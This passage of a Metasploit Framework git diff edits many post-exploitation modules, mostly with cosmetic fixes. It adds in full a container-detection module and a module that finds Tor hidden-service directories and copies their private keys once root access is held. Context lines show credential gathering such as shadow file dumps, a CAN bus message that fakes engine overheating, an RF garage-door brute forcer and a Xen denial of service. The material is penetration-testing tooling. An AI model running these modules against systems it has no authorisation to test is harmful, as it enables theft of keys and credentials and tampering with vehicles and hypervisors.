@@ -39,26 +43,26 @@ class MetasploitModule < Msf::Post
       print_status("  #{pids.inspect}")
     end
     if pids.include? 1
-      data = get_monitor_status(datastore['CANBUS'], datastore['SRCID'], datastore['DSTID'])
+      data = get_monitor_status(datastore['CANBUS'], datastore['SRCID'], datastore['DSTID'], opt)
       print_status("  MIL (Engine Light) : #{data['MIL'] ? 'ON' : 'OFF'}") if data.key? "MIL"
       print_status("  Number of DTCs: #{data['DTC_COUNT']}") if data.key? "DTC_COUNT"
     end
     if pids.include? 5
-      data = get_engine_coolant_temp(datastore['CANBUS'], datastore['SRCID'], datastore['DSTID'])
+      data = get_engine_coolant_temp(datastore['CANBUS'], datastore['SRCID'], datastore['DSTID'], opt)
       print_status("  Engine Temp: #{data['TEMP_C']} \u00b0C / #{data['TEMP_F']} \u00b0F") if data.key? "TEMP_C"
     end
     if pids.include? 0x0C
-      data = get_rpms(datastore['CANBUS'], datastore['SRCID'], datastore['DSTID'])
+      data = get_rpms(datastore['CANBUS'], datastore['SRCID'], datastore['DSTID'], opt)
       print_status("  RPMS: #{data['RPM']}") if data.key? "RPM"
     end
     if pids.include? 0x0D
-      data = get_vehicle_speed(datastore['CANBUS'], datastore['SRCID'], datastore['DSTID'])
+      data = get_vehicle_speed(datastore['CANBUS'], datastore['SRCID'], datastore['DSTID'], opt)
       print_status("  Speed: #{data['SPEED_K']} km/h  /  #{data['SPEED_M']} mph") if data.key? "SPEED_K"
     end
     if pids.include? 0x1C
-      print_status("Supported OBD Standards: #{get_obd_standards(datastore['CANBUS'], datastore['SRCID'], datastore['DSTID'])}")
+      print_status("Supported OBD Standards: #{get_obd_standards(datastore['CANBUS'], datastore['SRCID'], datastore['DSTID'], opt)}")
     end
-    dtcs = get_dtcs(datastore['CANBUS'], datastore['SRCID'], datastore['DSTID'])
+    dtcs = get_dtcs(datastore['CANBUS'], datastore['SRCID'], datastore['DSTID'], opt)
     unless dtcs.empty?
       print_status("DTCS:")
       dtcs.each do |dtc|
@@ -67,7 +71,7 @@ class MetasploitModule < Msf::Post
         print_status("  #{msg}")
       end
     end
-    frozen_dtcs = get_frozen_dtcs(datastore['CANBUS'], datastore['SRCID'], datastore['DSTID'])
+    frozen_dtcs = get_frozen_dtcs(datastore['CANBUS'], datastore['SRCID'], datastore['DSTID'], opt)
     unless frozen_dtcs.empty?
       print_status("Frozen DTCS:")
       frozen_dtcs.each do |dtc|
@@ -76,29 +80,28 @@ class MetasploitModule < Msf::Post
         print_status("  #{msg}")
       end
     end
-    pids = get_vinfo_supported_pids(datastore['CANBUS'], datastore['SRCID'], datastore['DSTID'])
+    pids = get_vinfo_supported_pids(datastore['CANBUS'], datastore['SRCID'], datastore['DSTID'], opt)
     print_status("Mode $09 Vehicle Info Supported PIDS: #{pids.inspect}") if pids.size > 0
     pids.each do |pid|
       # Handle known pids
       if pid == 2
-        vin = get_vin(datastore['CANBUS'], datastore['SRCID'], datastore['DSTID'])
+        vin = get_vin(datastore['CANBUS'], datastore['SRCID'], datastore['DSTID'], opt)
         print_status("VIN: #{vin}")
       elsif pid == 4
-        calid = get_calibration_id(datastore['CANBUS'], datastore['SRCID'], datastore['DSTID'])
+        calid = get_calibration_id(datastore['CANBUS'], datastore['SRCID'], datastore['DSTID'], opt)
         print_status("Calibration ID: #{calid}")
       elsif pid == 0x0A
-        ecuname = get_ecu_name(datastore['CANBUS'], datastore['SRCID'], datastore['DSTID'])
+        ecuname = get_ecu_name(datastore['CANBUS'], datastore['SRCID'], datastore['DSTID'], opt)
         print_status("ECU Name: #{ecuname}")
       else
-        data = get_vehicle_info(datastore['CANBUS'], datastore['SRCID'], datastore['DSTID'], pid)
+        data = get_vehicle_info(datastore['CANBUS'], datastore['SRCID'], datastore['DSTID'], pid, opt)
         data = response_hash_to_data_array(datastore['DSTID'].to_s(16), data)
         print_status("PID #{pid} Response: #{data.inspect}")
       end
     end
     if datastore['CLEAR_DTCS'] == true
-      clear_dtcs(datastore['CANBUS'], datastore['SRCID'], datastore['DSTID'])
+      clear_dtcs(datastore['CANBUS'], datastore['SRCID'], datastore['DSTID'], opt)
       print_status("Cleared DTCs and reseting MIL")
     end
   end
-
 end
diff --git a/modules/post/hardware/automotive/identifymodules.rb b/modules/post/hardware/automotive/identifymodules.rb
index 3a739bbe36..4bfea56855 100644
--- a/modules/post/hardware/automotive/identifymodules.rb
+++ b/modules/post/hardware/automotive/identifymodules.rb
@@ -1,12 +1,11 @@
 ##
-# This module requires Metasploit: http://metasploit.com/download
+# This module requires Metasploit: https://metasploit.com/download
 # Current source: https://github.com/rapid7/metasploit-framework
 ##
 
 require 'msf/core/post/hardware/automotive/uds'
 
 class MetasploitModule < Msf::Post
-
   include Msf::Post::Hardware::Automotive::UDS
 
   def initialize(info={})
@@ -47,5 +46,4 @@ class MetasploitModule < Msf::Post
       print_line("  #{"%3x" % id}")
     end
   end
-
 end
diff --git a/modules/post/hardware/automotive/malibu_overheat.rb b/modules/post/hardware/automotive/malibu_overheat.rb
index 83ae933391..355aa99b54 100644
--- a/modules/post/hardware/automotive/malibu_overheat.rb
+++ b/modules/post/hardware/automotive/malibu_overheat.rb
@@ -1,5 +1,5 @@
 ##
-# This module requires Metasploit: http://metasploit.com/download
+# This module requires Metasploit: https://metasploit.com/download
 # Current source: https://github.com/rapid7/metasploit-framework
 ##
 
@@ -30,5 +30,4 @@ class MetasploitModule < Msf::Post
       client.automotive.cansend(datastore['CANBUS'], "510", "10AD013CF048120B")
     end
   end
-
 end
diff --git a/modules/post/hardware/rftransceiver/rfpwnon.rb b/modules/post/hardware/rftransceiver/rfpwnon.rb
index 30dbe9db41..ce51309f76 100644
--- a/modules/post/hardware/rftransceiver/rfpwnon.rb
+++ b/modules/post/hardware/rftransceiver/rfpwnon.rb
@@ -1,12 +1,16 @@
-class MetasploitModule < Msf::Post
+##
+# This module requires Metasploit: https://metasploit.com/download
+# Current source: https://github.com/rapid7/metasploit-framework
+##
 
+class MetasploitModule < Msf::Post
   include Msf::Post::Hardware::RFTransceiver::RFTransceiver
 
   def initialize(info={})
     super( update_info( info,
         'Name'          => 'Brute Force AM/OOK (ie: Garage Doors)',
         'Description'   => %q{ Post Module for HWBridge RFTranscievers.  Brute forces AM OOK or raw
-                               binary signals.  This is a port of the LegacySecurityGroup.com rfpwnon tool.
+                               binary signals.  This is a port of the rfpwnon tool by Corey Harding.
                                (https://github.com/exploitagency/github-rfpwnon/blob/master/rfpwnon.py)
         },
         'License'       => MSF_LICENSE,
@@ -150,5 +154,4 @@ class MetasploitModule < Msf::Post
     print_status("Done")
     set_mode("IDLE")
   end
-
 end
diff --git a/modules/post/hardware/rftransceiver/transmitter.rb b/modules/post/hardware/rftransceiver/transmitter.rb
index cf245e5317..c28c669631 100644
--- a/modules/post/hardware/rftransceiver/transmitter.rb
+++ b/modules/post/hardware/rftransceiver/transmitter.rb
@@ -1,5 +1,9 @@
-class MetasploitModule < Msf::Post
+##
+# This module requires Metasploit: https://metasploit.com/download
+# Current source: https://github.com/rapid7/metasploit-framework
+##
 
+class MetasploitModule < Msf::Post
   include Msf::Post::Hardware::RFTransceiver::RFTransceiver
 
   def initialize(info={})
@@ -56,5 +60,4 @@ class MetasploitModule < Msf::Post
     print_status("Finished transmitting")
     set_mode("idle")
   end
-
 end
diff --git a/modules/post/hardware/zigbee/zstumbler.rb b/modules/post/hardware/zigbee/zstumbler.rb
index beb877dbb4..5802eb760c 100644
--- a/modules/post/hardware/zigbee/zstumbler.rb
+++ b/modules/post/hardware/zigbee/zstumbler.rb
@@ -1,12 +1,11 @@
 ##
-# This module requires Metasploit: http://metasploit.com/download
+# This module requires Metasploit: https://metasploit.com/download
 # Current source: https://github.com/rapid7/metasploit-framework
 ##
 
 require 'msf/core/post/hardware/zigbee/utils'
 
 class MetasploitModule < Msf::Post
-
   include Msf::Post::Hardware::Zigbee::Utils
 
   def initialize(info={})
@@ -97,5 +96,4 @@ class MetasploitModule < Msf::Post
       end
     end
   end
-
 end
diff --git a/modules/post/linux/busybox/enum_connections.rb b/modules/post/linux/busybox/enum_connections.rb
index 54e0d4f2bf..1a0206923f 100644
--- a/modules/post/linux/busybox/enum_connections.rb
+++ b/modules/post/linux/busybox/enum_connections.rb
@@ -1,10 +1,9 @@
 ##
-# This module requires Metasploit: http://metasploit.com/download
+# This module requires Metasploit: https://metasploit.com/download
 # Current source: https://github.com/rapid7/metasploit-framework
 ##
 
 class MetasploitModule < Msf::Post
-
   include Msf::Post::File
   include Msf::Post::Linux::BusyBox
 
@@ -55,5 +54,4 @@ class MetasploitModule < Msf::Post
       print_error("Nothing read from file #{file}, file may be empty")
     end
   end
-
 end
diff --git a/modules/post/linux/busybox/enum_hosts.rb b/modules/post/linux/busybox/enum_hosts.rb
index 77808cd131..1813a69319 100644
--- a/modules/post/linux/busybox/enum_hosts.rb
+++ b/modules/post/linux/busybox/enum_hosts.rb
@@ -1,10 +1,9 @@
 ##
-# This module requires Metasploit: http://metasploit.com/download
+# This module requires Metasploit: https://metasploit.com/download
 # Current source: https://github.com/rapid7/metasploit-framework
 ##
 
 class MetasploitModule < Msf::Post
-
   include Msf::Post::File
   include Msf::Post::Linux::BusyBox
 
@@ -47,5 +46,4 @@ class MetasploitModule < Msf::Post
       print_error("Nothing read from file: #{file}, file may be empty.")
     end
   end
-
 end
diff --git a/modules/post/linux/busybox/jailbreak.rb b/modules/post/linux/busybox/jailbreak.rb
index 3bf5f9e570..af48869d8c 100644
--- a/modules/post/linux/busybox/jailbreak.rb
+++ b/modules/post/linux/busybox/jailbreak.rb
@@ -1,5 +1,5 @@
 ##
-# This module requires Metasploit: http://metasploit.com/download
+# This module requires Metasploit: https://metasploit.com/download
 # Current source: https://github.com/rapid7/metasploit-framework
 ##
 
@@ -26,7 +26,7 @@ class MetasploitModule < Msf::Post
     super(
       'Name'         => 'BusyBox Jailbreak ',
       'Description'  => %q{
-        This module will send a set of commands to a open session that is connected to a
+        This module will send a set of commands to an open session that is connected to a
         BusyBox limited shell (i.e. a router limited shell). It will try different known
         tricks to jailbreak the limited shell and get a full BusyBox shell.
       },
@@ -63,5 +63,4 @@ class MetasploitModule < Msf::Post
 
       false
   end
-
 end
diff --git a/modules/post/linux/busybox/ping_net.rb b/modules/post/linux/busybox/ping_net.rb
index f82752c991..419c0b32b7 100644
--- a/modules/post/linux/busybox/ping_net.rb
+++ b/modules/post/linux/busybox/ping_net.rb
@@ -1,10 +1,9 @@
 ##
-# This module requires Metasploit: http://metasploit.com/download
+# This module requires Metasploit: https://metasploit.com/download
 # Current source: https://github.com/rapid7/metasploit-framework
 ##
 
 class MetasploitModule < Msf::Post
-
   include Msf::Post::File
 
   def initialize
@@ -36,5 +35,4 @@ class MetasploitModule < Msf::Post
     p = store_loot('busybox.enum.network', 'text/plain', session, results, 'ping_results.txt', 'BusyBox Device Network Range Enumeration')
     print_good("Results saved to #{p}.")
   end
-
 end
diff --git a/modules/post/linux/busybox/set_dmz.rb b/modules/post/linux/busybox/set_dmz.rb
index 7774a94c15..dc745e5526 100644
--- a/modules/post/linux/busybox/set_dmz.rb
+++ b/modules/post/linux/busybox/set_dmz.rb
@@ -1,5 +1,5 @@
 ##
-# This module requires Metasploit: http://metasploit.com/download
+# This module requires Metasploit: https://metasploit.com/download
 # Current source: https://github.com/rapid7/metasploit-framework
 ##
 
@@ -35,5 +35,4 @@ class MetasploitModule < Msf::Post
 
     vprint_status(cmd_exec('iptables --list'))
   end
-
 end
diff --git a/modules/post/linux/busybox/set_dns.rb b/modules/post/linux/busybox/set_dns.rb
index c5d3dbae13..0f358e0f3b 100644
--- a/modules/post/linux/busybox/set_dns.rb
+++ b/modules/post/linux/busybox/set_dns.rb
@@ -1,10 +1,9 @@
 ##
-# This module requires Metasploit: http://metasploit.com/download
+# This module requires Metasploit: https://metasploit.com/download
 # Current source: https://github.com/rapid7/metasploit-framework
 ##
 
 class MetasploitModule < Msf::Post
-
   include Msf::Post::File
   include Msf::Post::Linux::BusyBox
 
diff --git a/modules/post/linux/busybox/smb_share_root.rb b/modules/post/linux/busybox/smb_share_root.rb
index 110386e401..2ab667c3d3 100644
--- a/modules/post/linux/busybox/smb_share_root.rb
+++ b/modules/post/linux/busybox/smb_share_root.rb
@@ -1,10 +1,9 @@
 ##
-# This module requires Metasploit: http://metasploit.com/download
+# This module requires Metasploit: https://metasploit.com/download
 # Current source: https://github.com/rapid7/metasploit-framework
 ##
 
 class MetasploitModule < Msf::Post
-
   include Msf::Post::File
   include Msf::Post::Linux::BusyBox
 
@@ -53,5 +52,4 @@ class MetasploitModule < Msf::Post
     vprint_status(res)
     Rex.sleep(0.1)
   end
-
 end
diff --git a/modules/post/linux/busybox/wget_exec.rb b/modules/post/linux/busybox/wget_exec.rb
index 4db60c38e3..3a1c74d3e0 100644
--- a/modules/post/linux/busybox/wget_exec.rb
+++ b/modules/post/linux/busybox/wget_exec.rb
@@ -1,10 +1,9 @@
 ##
-# This module requires Metasploit: http://metasploit.com/download
+# This module requires Metasploit: https://metasploit.com/download
 # Current source: https://github.com/rapid7/metasploit-framework
 ##
 
 class MetasploitModule < Msf::Post
-
   include Msf::Post::File
   include Msf::Post::Linux::BusyBox
 
diff --git a/modules/post/linux/dos/xen_420_dos.rb b/modules/post/linux/dos/xen_420_dos.rb
index 07bcdb4bfa..0d63e6ac5b 100644
--- a/modules/post/linux/dos/xen_420_dos.rb
+++ b/modules/post/linux/dos/xen_420_dos.rb
@@ -1,5 +1,5 @@
 ##
-# This module requires Metasploit: http://metasploit.com/download
+# This module requires Metasploit: https://metasploit.com/download
 # Current source: https://github.com/rapid7/metasploit-framework
 ##
 
@@ -15,7 +15,7 @@ class MetasploitModule < Msf::Post
         'Name'         => 'Linux DoS Xen 4.2.0 2012-5525',
         'Description'  => %q(
         This module causes a hypervisor crash in Xen 4.2.0 when invoked from a
-        paravirtualised VM, including from dom0.  Successfully tested on Debian 7
+        paravirtualized VM, including from dom0.  Successfully tested on Debian 7
         3.2.0-4-amd64 with Xen 4.2.0.),
         'References'   => [ ['CVE', '2012-5525'] ],
         'License'      => MSF_LICENSE,
diff --git a/modules/post/linux/gather/checkcontainer.rb b/modules/post/linux/gather/checkcontainer.rb
new file mode 100644
index 0000000000..f543b2a865
--- /dev/null
+++ b/modules/post/linux/gather/checkcontainer.rb
@@ -0,0 +1,65 @@
+##
+# This module requires Metasploit: https://metasploit.com/download
+# Current source: https://github.com/rapid7/metasploit-framework
+##
+
+class MetasploitModule < Msf::Post
+  include Msf::Post::File
+
+  def initialize(info={})
+    super( update_info( info,
+        'Name'          => 'Linux Gather Container Detection',
+        'Description'   => %q{
+          This module attempts to determine whether the system is running
+          inside of a container and if so, which one. This module supports
+          detection of Docker, LXC, and systemd nspawn.},
+        'License'       => MSF_LICENSE,
+        'Author'        => [ 'James Otten <jamesotten1[at]gmail.com>'],
+        'Platform'      => [ 'linux' ],
+        'SessionTypes'  => [ 'shell', 'meterpreter' ]
+      ))
+  end
+
+  # Run Method for when run command is issued
+  def run
+    container = nil
+
+    # Check for .dockerenv file
+    if container.nil?
+      if file?("/.dockerenv")
+        container = "Docker"
+      end
+    end
+
+    # Check cgroup on PID 1
+    if container.nil?
+      cgroup = read_file("/proc/1/cgroup")
+      if cgroup
+        case cgroup.tr("\n", " ")
+        when /docker/i
+          container = "Docker"
+        when /lxc/i
+          container = "LXC"
+        end
+      end
+    end
+
+    # Check for the "container" environment variable
+    if container.nil?
+      container_variable = get_env("container")
+      case container_variable
+      when "lxc"
+        container = "LXC"
+      when "systemd-nspawn"
+        container = "systemd nspawn"
+      end
+    end
+
+    if container
+      print_good("This appears to be a '#{container}' container")
+      report_virtualization(container)
+    else
+      print_status("This does not appear to be a container")
+    end
+  end
+end
diff --git a/modules/post/linux/gather/checkvm.rb b/modules/post/linux/gather/checkvm.rb
index 72ee84aa62..6e28a78910 100644
--- a/modules/post/linux/gather/checkvm.rb
+++ b/modules/post/linux/gather/checkvm.rb
@@ -1,10 +1,9 @@
 ##
-# This module requires Metasploit: http://metasploit.com/download
+# This module requires Metasploit: https://metasploit.com/download
 # Current source: https://github.com/rapid7/metasploit-framework
 ##
 
 class MetasploitModule < Msf::Post
-
   include Msf::Post::File
   include Msf::Post::Linux::Priv
   include Msf::Post::Linux::System
@@ -151,11 +150,10 @@ class MetasploitModule < Msf::Post
 
     if vm
       print_good("This appears to be a '#{vm}' virtual machine")
-      report_vm(vm)
+      report_virtualization(vm)
     else
       print_status("This does not appear to be a virtual machine")
     end
 
   end
-
 end
diff --git a/modules/post/linux/gather/ecryptfs_creds.rb b/modules/post/linux/gather/ecryptfs_creds.rb
index cf0666f937..b840191972 100644
--- a/modules/post/linux/gather/ecryptfs_creds.rb
+++ b/modules/post/linux/gather/ecryptfs_creds.rb
@@ -1,10 +1,9 @@
 ##
-# This module requires Metasploit: http://metasploit.com/download
+# This module requires Metasploit: https://metasploit.com/download
 # Current source: https://github.com/rapid7/metasploit-framework
 ##
 
 class MetasploitModule < Msf::Post
-
   include Msf::Post::File
   include Msf::Post::Unix
 
@@ -60,5 +59,4 @@ class MetasploitModule < Msf::Post
       end
     end
   end
-
 end
diff --git a/modules/post/linux/gather/enum_configs.rb b/modules/post/linux/gather/enum_configs.rb
index 6caae3c48d..70ccfecbb8 100644
--- a/modules/post/linux/gather/enum_configs.rb
+++ b/modules/post/linux/gather/enum_configs.rb
@@ -1,10 +1,9 @@
 ##
-# This module requires Metasploit: http://metasploit.com/download
+# This module requires Metasploit: https://metasploit.com/download
 # Current source: https://github.com/rapid7/metasploit-framework
 ##
 
 class MetasploitModule < Msf::Post
-
   include Msf::Post::Linux::System
 
   def initialize(info={})
@@ -42,7 +41,7 @@ class MetasploitModule < Msf::Post
     ltype = "linux.enum.conf"
     fname = ::File.basename(file)
     loot = store_loot(ltype, ctype, session, data, fname)
-    print_status("#{fname} stored in #{loot.to_s}")
+    print_good("#{fname} stored in #{loot.to_s}")
   end
 
   def get_host
diff --git a/modules/post/linux/gather/enum_network.rb b/modules/post/linux/gather/enum_network.rb
index d09545ff73..7720d46230 100644
--- a/modules/post/linux/gather/enum_network.rb
+++ b/modules/post/linux/gather/enum_network.rb
@@ -1,10 +1,9 @@
 ##
-# This module requires Metasploit: http://metasploit.com/download
+# This module requires Metasploit: https://metasploit.com/download
 # Current source: https://github.com/rapid7/metasploit-framework
 ##
 
 class MetasploitModule < Msf::Post
-
   include Msf::Post::File
   include Msf::Post::Linux::Priv
   include Msf::Post::Linux::System
@@ -77,7 +76,7 @@ class MetasploitModule < Msf::Post
   def save(msg, data, ctype="text/plain")
     ltype = "linux.enum.network"
     loot = store_loot(ltype, ctype, session, data, nil, msg)
-    print_status("#{msg} stored in #{loot.to_s}")
+    print_good("#{msg} stored in #{loot.to_s}")
   end
 
   # Get host name
diff --git a/modules/post/linux/gather/enum_protections.rb b/modules/post/linux/gather/enum_protections.rb
index 02aabc0bce..19fb771219 100644
--- a/modules/post/linux/gather/enum_protections.rb
+++ b/modules/post/linux/gather/enum_protections.rb
@@ -1,10 +1,9 @@
 ##
-# This module requires Metasploit: http://metasploit.com/download
+# This module requires Metasploit: https://metasploit.com/download
 # Current source: https://github.com/rapid7/metasploit-framework
 ##
 
 class MetasploitModule < Msf::Post
-
   include Msf::Post::File
   include Msf::Post::Linux::System
 
diff --git a/modules/post/linux/gather/enum_psk.rb b/modules/post/linux/gather/enum_psk.rb
index 03c56dfc15..0265f00c00 100644
--- a/modules/post/linux/gather/enum_psk.rb
+++ b/modules/post/linux/gather/enum_psk.rb
@@ -1,10 +1,9 @@
 ##
-# This module requires Metasploit: http://metasploit.com/download
+# This module requires Metasploit: https://metasploit.com/download
 # Current source: https://github.com/rapid7/metasploit-framework
 ##
 
 class MetasploitModule < Msf::Post
-
   include Msf::Post::File
   include Msf::Post::Linux::Priv
   include Msf::Post::Linux::System
diff --git a/modules/post/linux/gather/enum_system.rb b/modules/post/linux/gather/enum_system.rb
index 423ed09e87..2d89af5014 100644
--- a/modules/post/linux/gather/enum_system.rb
+++ b/modules/post/linux/gather/enum_system.rb
@@ -1,10 +1,9 @@
 ##
-# This module requires Metasploit: http://metasploit.com/download
+# This module requires Metasploit: https://metasploit.com/download
 # Current source: https://github.com/rapid7/metasploit-framework
 ##
 
 class MetasploitModule < Msf::Post
-
   include Msf::Post::File
   include Msf::Post::Linux::System
 
diff --git a/modules/post/linux/gather/enum_users_history.rb b/modules/post/linux/gather/enum_users_history.rb
index 249e96fcf5..184445c3f7 100644
--- a/modules/post/linux/gather/enum_users_history.rb
+++ b/modules/post/linux/gather/enum_users_history.rb
@@ -1,10 +1,9 @@
 ##
-# This module requires Metasploit: http://metasploit.com/download
+# This module requires Metasploit: https://metasploit.com/download
 # Current source: https://github.com/rapid7/metasploit-framework
 ##
 
 class MetasploitModule < Msf::Post
-
   include Msf::Post::File
   include Msf::Post::Linux::System
 
@@ -60,7 +59,7 @@ class MetasploitModule < Msf::Post
   def save(msg, data, ctype = 'text/plain')
     ltype = 'linux.enum.users'
     loot = store_loot(ltype, ctype, session, data, nil, msg)
-    print_status("#{msg} stored in #{loot.to_s}")
+    print_good("#{msg} stored in #{loot.to_s}")
   end
 
   def execute(cmd)
@@ -116,5 +115,4 @@ class MetasploitModule < Msf::Post
     vim_hist = cat_file("#{home}/.viminfo")
     save("Vim history for #{user}", vim_hist) unless vim_hist.blank? || vim_hist =~ /No such file or directory/
   end
-
 end
diff --git a/modules/post/linux/gather/enum_xchat.rb b/modules/post/linux/gather/enum_xchat.rb
index e88657ecd3..fa0e027b53 100644
--- a/modules/post/linux/gather/enum_xchat.rb
+++ b/modules/post/linux/gather/enum_xchat.rb
@@ -1,10 +1,9 @@
 ##
-# This module requires Metasploit: http://metasploit.com/download
+# This module requires Metasploit: https://metasploit.com/download
 # Current source: https://github.com/rapid7/metasploit-framework
 ##
 
 class MetasploitModule < Msf::Post
-
   include Msf::Post::File
 
   def initialize(info={})
@@ -150,7 +149,6 @@ class MetasploitModule < Msf::Post
     save(:configs, configs)   unless configs.empty?
     save(:chatlogs, chatlogs) unless chatlogs.empty?
   end
-
 end
 
 =begin
diff --git a/modules/post/linux/gather/gnome_commander_creds.rb b/modules/post/linux/gather/gnome_commander_creds.rb
index 93d15bee81..faaeef85bc 100644
--- a/modules/post/linux/gather/gnome_commander_creds.rb
+++ b/modules/post/linux/gather/gnome_commander_creds.rb
@@ -1,10 +1,9 @@
 ##
-# This module requires Metasploit: http://metasploit.com/download
+# This module requires Metasploit: https://metasploit.com/download
 # Current source: https://github.com/rapid7/metasploit-framework
 ##
 
 class MetasploitModule < Msf::Post
-
   include Msf::Post::File
 
   def initialize(info={})
@@ -61,5 +60,4 @@ class MetasploitModule < Msf::Post
       end
     end
   end
-
 end
diff --git a/modules/post/linux/gather/gnome_keyring_dump.rb b/modules/post/linux/gather/gnome_keyring_dump.rb
index 2cac7f01af..2d958af32f 100644
--- a/modules/post/linux/gather/gnome_keyring_dump.rb
+++ b/modules/post/linux/gather/gnome_keyring_dump.rb
@@ -1,5 +1,5 @@
 ##
-# This module requires Metasploit: http://metasploit.com/download
+# This module requires Metasploit: https://metasploit.com/download
 # Current source: https://github.com/rapid7/metasploit-framework
 ##
 
@@ -74,8 +74,8 @@ class MetasploitModule < Msf::Post
   end
 
   def init_railgun_defs
-    unless session.railgun.dlls.has_key?('libgnome_keyring')
-      session.railgun.add_dll('libgnome_keyring', 'libgnome-keyring.so.0')
+    unless session.railgun.libraries.has_key?('libgnome_keyring')
+      session.railgun.add_library('libgnome_keyring', 'libgnome-keyring.so.0')
     end
     session.railgun.add_function(
       'libgnome_keyring',
diff --git a/modules/post/linux/gather/hashdump.rb b/modules/post/linux/gather/hashdump.rb
index 36ec5dec58..c8f4df6208 100644
--- a/modules/post/linux/gather/hashdump.rb
+++ b/modules/post/linux/gather/hashdump.rb
@@ -1,10 +1,9 @@
 ##
-# This module requires Metasploit: http://metasploit.com/download
+# This module requires Metasploit: https://metasploit.com/download
 # Current source: https://github.com/rapid7/metasploit-framework
 ##
 
 class MetasploitModule < Msf::Post
-
   include Msf::Post::File
   include Msf::Post::Linux::Priv
 
@@ -28,8 +27,8 @@ class MetasploitModule < Msf::Post
       # Save in loot the passwd and shadow file
       p1 = store_loot("linux.shadow", "text/plain", session, shadow_file, "shadow.tx", "Linux Password Shadow File")
       p2 = store_loot("linux.passwd", "text/plain", session, passwd_file, "passwd.tx", "Linux Passwd File")
-      vprint_status("Shadow saved in: #{p1.to_s}")
-      vprint_status("passwd saved in: #{p2.to_s}")
+      vprint_good("Shadow saved in: #{p1.to_s}")
+      vprint_good("passwd saved in: #{p2.to_s}")
 
       # Unshadow the files
       john_file = unshadow(passwd_file, shadow_file)
@@ -73,5 +72,4 @@ class MetasploitModule < Msf::Post
 
     unshadowed
   end
-
 end
diff --git a/modules/post/linux/gather/mount_cifs_creds.rb b/modules/post/linux/gather/mount_cifs_creds.rb
index f0d113cf13..302709d3e0 100644
--- a/modules/post/linux/gather/mount_cifs_creds.rb
+++ b/modules/post/linux/gather/mount_cifs_creds.rb
@@ -1,10 +1,9 @@
 ##
-# This module requires Metasploit: http://metasploit.com/download
+# This module requires Metasploit: https://metasploit.com/download
 # Current source: https://github.com/rapid7/metasploit-framework
 ##
 
 class MetasploitModule < Msf::Post
-
   include Msf::Post::File
 
   def initialize(info={})
diff --git a/modules/post/linux/gather/openvpn_credentials.rb b/modules/post/linux/gather/openvpn_credentials.rb
index 6fefe7f175..6271bcbeda 100644
--- a/modules/post/linux/gather/openvpn_credentials.rb
+++ b/modules/post/linux/gather/openvpn_credentials.rb
@@ -1,10 +1,9 @@
 ##
-# This module requires Metasploit: http://metasploit.com/download
+# This module requires Metasploit: https://metasploit.com/download
 # Current source: https://github.com/rapid7/metasploit-framework
 ##
 
 class MetasploitModule < Msf::Post
-
   include Msf::Post::File
   include Msf::Post::Linux::Priv
   include Msf::Post::Linux::System
diff --git a/modules/post/linux/gather/pptpd_chap_secrets.rb b/modules/post/linux/gather/pptpd_chap_secrets.rb
index 7cbb1e5e64..535ea83bba 100644
--- a/modules/post/linux/gather/pptpd_chap_secrets.rb
+++ b/modules/post/linux/gather/pptpd_chap_secrets.rb
@@ -1,10 +1,9 @@
 ##
-# This module requires Metasploit: http://metasploit.com/download
+# This module requires Metasploit: https://metasploit.com/download
 # Current source: https://github.com/rapid7/metasploit-framework
 ##
 
 class MetasploitModule < Msf::Post
-
   include Msf::Post::File
   include Msf::Auxiliary::Report
 
@@ -147,5 +146,4 @@ class MetasploitModule < Msf::Post
       extract_secrets(f)
     end
   end
-
 end
diff --git a/modules/post/linux/gather/tor_hiddenservices.rb b/modules/post/linux/gather/tor_hiddenservices.rb
new file mode 100644
index 0000000000..5ab4c55671
--- /dev/null
+++ b/modules/post/linux/gather/tor_hiddenservices.rb
@@ -0,0 +1,103 @@
+##
+# This module requires Metasploit: http://metasploit.com/download
+# Current source: https://github.com/rapid7/metasploit-framework
+##
+# Adapted from post/linux/gather/enum_configs.rb
+##
+
+class MetasploitModule < Msf::Post
+
+  include Msf::Post::Linux::System
+  include Msf::Post::Linux::Priv
+
+  def initialize(info={})
+    super( update_info( info,
+      'Name'          => 'Linux Gather TOR Hidden Services',
+      'Description'   => %q{
+        This module collects the hostnames name and private keys of
+        any TOR Hidden Services running on the target machine. It
+        will search for torrc and if found, will parse it for the
+        directories of Hidden Services. However, root permissions
+        are required to read them as they are owned by the user that
+        TOR runs as, usually a separate account.
+      },
+      'License'       => MSF_LICENSE,
+      'Author'        =>
+        [
+          'Harvey Phillips <xcellerator[at]gmx.com>',
+        ],
+      'Platform'      => ['linux'],
+      'SessionTypes'  => ['shell', 'meterpreter']
+    ))
+  end
+
+  def run
+    distro = get_sysinfo
+    h = get_host
+    print_status("Running module against #{h}")
+    print_status("Info:")
+    print_status("\t#{distro[:version]}")
+    print_status("\t#{distro[:kernel]}")
+    print_status("Looking for torrc...")
+    find_torrc
+  end
+
+  def save(file, data, ltype, ctype="text/plain")
+    fname = ::File.basename(file)
+    loot = store_loot(ltype, ctype, session, data, fname)
+    print_status("#{fname} stored in #{loot.to_s}")
+  end
+
+  def get_host
+    case session.type
+    when /meterpreter/
+      host = sysinfo["Computer"]
+    when /shell/
+      host = cmd_exec("hostname").chomp
+    end
+
+    return host
+  end
+
+  def find_torrc
+    config = cmd_exec("locate 'torrc' | grep -v 'torrc.5.gz'").split("\n")
+    if config.length == 0
+        print_error ("No torrc file found, maybe it goes by a different name?")
+    else
+        hidden = Array.new
+        # For every torrc file found, parse them for HiddenServiceDir
+        config.each do |c|
+            print_good("Torrc file found at #{c}")
+            services = cmd_exec("cat #{c} | grep HiddenServiceDir | grep -v '#' | cut -d ' ' -f 2").split("\n")
+            # For each HiddenServiceDir found in the torrc(s), push them to the hidden array
+            services.each do |s|
+                hidden.push(s)
+            end
+     end
+     # Remove any duplicate entries
+     hidden = hidden.uniq
+     # If hidden is empty, then no Hidden Services are running.
+     if hidden.length != 0
+         print_good("#{hidden.length} hidden services have been found!")
+     else
+         print_bad("No hidden services were found!")
+     end
+
+     if is_root?
+         # For all the Hidden Services found, loot hostname file
+         hidden.each do |f|
+         output = read_file("#{f}hostname")
+         save(f, output, "tor.#{f.split("/")[-1]}.hostname") if output && output !~ /No such file or directory/
+         end
+
+         # For all the Hidden Services found, loot private_key file
+         hidden.each do |f|
+            output = read_file("#{f}private_key")
+            save(f, output, "tor.#{f.split("/")[-1]}.privatekey") if output && output !~ /No such file or directory/
+         end
+     else
+         print_error("Hidden Services were found, but we need root to access the directories")
+     end
+    end
+  end
+end
diff --git a/modules/post/linux/manage/download_exec.rb b/modules/post/linux/manage/download_exec.rb
